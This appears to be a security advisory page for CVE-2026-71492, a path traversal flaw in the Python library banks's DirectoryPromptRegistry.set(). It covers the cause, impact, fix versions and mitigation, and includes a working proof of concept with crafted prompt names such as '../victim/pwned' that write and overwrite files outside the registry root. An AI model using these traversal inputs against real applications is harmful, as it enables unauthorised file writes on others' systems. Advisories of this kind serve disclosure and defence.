CVE-2026-71492 — banks
Fix: masci/banks@a215f6dCVE-2026-71492 is a Path Traversal vulnerability in banks. A fix is available for banks — see the affected versions and patch details below.
Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
banksReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.
Details
src/banks/registries/directory.py:44
prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)
Two failure modes:
- Relative traversal.
name="../victim/foo"resolves to<registry>/../victim/foo.0.jinja— outside the configured root. - Absolute-path bypass.
pathlibdocuments thatPath("/a") / Path("/b")returnsPath("/b"). Soname="/abs/path"discards the registry root entirely; the registry is never consulted.
The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.
Proof of Concept
import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry
work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim = work / "victim"; victim.mkdir()
reg = DirectoryPromptRegistry(str(registry))
# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text()) # 'pwn'
# (2) Absolute-path bypass — registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn'
# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
overwrite=True)
print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED'
Output (verified on banks==2.4.2):
pwn
abs pwn
CLOBBERED
<img width="793" height="149" alt="Screenshot 2026-05-10 at 3 19 49 PM" src="https://github.com/user-attachments/assets/5c8a79ba-eaf8-4425-8612-4414bc34a0d6" />
<img width="893" height="221" alt="Screenshot 2026-05-10 at 3 20 02 PM" src="https://github.com/user-attachments/assets/8aceca27-5df1-4b59-9a77-502698da6e65" />
<img width="1036" height="272" alt="Screenshot 2026-05-10 at 3 20 18 PM" src="https://github.com/user-attachments/assets/aaceec31-f9a8-432f-b013-29694dd22478" />
Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.
Impact
Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.
Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().
Suggested Fix
Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:
# src/banks/registries/directory.py
import re
_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")
@classmethod
def from_prompt_path(cls, prompt, path):
if not _NAME_RE.fullmatch(prompt.name or ""):
raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
if not _NAME_RE.fullmatch(prompt.version or ""):
raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")
candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
if candidate.parent != path.resolve():
raise InvalidPromptError(
f"Prompt path escapes registry root: {candidate}"
)
candidate.write_text(prompt.raw)
return cls(
text=prompt.raw, name=prompt.name, version=prompt.version,
metadata=prompt.metadata, path=candidate,
)
The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | banks | all versions | 2.4.5pip install --upgrade 'banks==2.4.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for banks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update banks to 2.4.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71492 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The 'banks' library is vulnerable to arbitrary file write via path traversal when an application processes attacker-controlled input for prompt names or versions. This flaw allows an attacker to write arbitrary files to locations writable by the application process, potentially leading to system compromise. The impact…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-71492 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-71492 in your dependencies?
Find it across PyPI, including transitive dependencies.